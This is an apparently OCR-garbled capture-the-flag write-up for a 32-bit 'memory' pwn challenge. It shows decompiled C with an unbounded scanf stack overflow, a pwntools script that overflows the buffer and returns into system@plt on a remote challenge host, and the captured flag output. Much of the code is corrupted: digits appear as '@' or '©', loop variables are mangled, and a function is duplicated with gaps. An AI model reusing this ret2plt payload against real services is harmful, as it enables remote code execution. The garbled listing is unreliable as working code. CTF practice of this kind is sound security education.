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wxyl1ll@ubuntu:~/Desktop$ file -h memory
memory: ELF 32-bit LSB executable, Intel 88386, version 1 (SYSV), dynamically link

ed, interpreter /1lib/ld-1linux.so.2, for GNU/Linux 2.6.24, BuildID[shal]=3ccdcfal8c
Pe3f68845cc554555ad0dd9c182858, not stripped
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int _ _cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
char s2[11]; // [esp+1Dh] [ebp-13h]
int v6; // [esp+28h] [ebp-8h]
int i; // [esp+2Ch] [ebp-4h]

ve = 18;
puts(“\n\n\n------ Test Your Memory!------- \n");
v3 = time(@);
srand(v3);
for (1 =0; 1 < vE) ++1 )
s2[1] = alphanum_2626[rand() % ©x3Eu];
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printf("%s", s2);
mem_test(s2);
return 8;

}
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int _ _cdecl mem_test(char *s2)
{
int result; // eax
char s; // [esp+15h] [ebp-13h]

memset(&s, ©, ©xBu);
puts("\nwhat???? : ");
printf("ex%x \n", hint);
puts(“"cff flag go go go
printf("> ");
__iso0c99_scanf("%s", &s);
if ( !'strncmp(&s, s2, 4u) )
result = puts("good job!!\n");
else
result = puts("cff flag is failed!!\n");
return result;
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int _ cdecl mem_test(char *s2)

{
int result; // eax (
char s; // [esp+15h] [ebp-13h



memset(&s, @, OxBu);
puts("\nwhat???? : ");
printf("ex%x \n", hint);
puts("cff flag go go go ...\n");
printf("> ");
__1s0c99_scanf("%s", &s);
if ( !strncmp(&s, , 4u) )

= puts(“"good job!!\n");
else

= puts("cff flag is failed!!\n");
return ;
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from pwn import*

a=remote("pwn2.jarvisoj.com","9876")

system_plt=0x08048440
payload="A"'*23+p32(system_plt)+p32(0x080485bd)+p32(0x080487EQ)
a.recvuntil("> ")

a.sendline(payload)

a.interactive()
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wxylili@ubuntu:~/Desktop$ python exp.py

[+] Opening connection to pwnZ2.jarvisoj.com on po
[*] Switching to interactive mode

cff flag is failed!!

\CTF{332e294fb7aeeaf0elc7703329304343}
[*] Got EOF while reading in interactive
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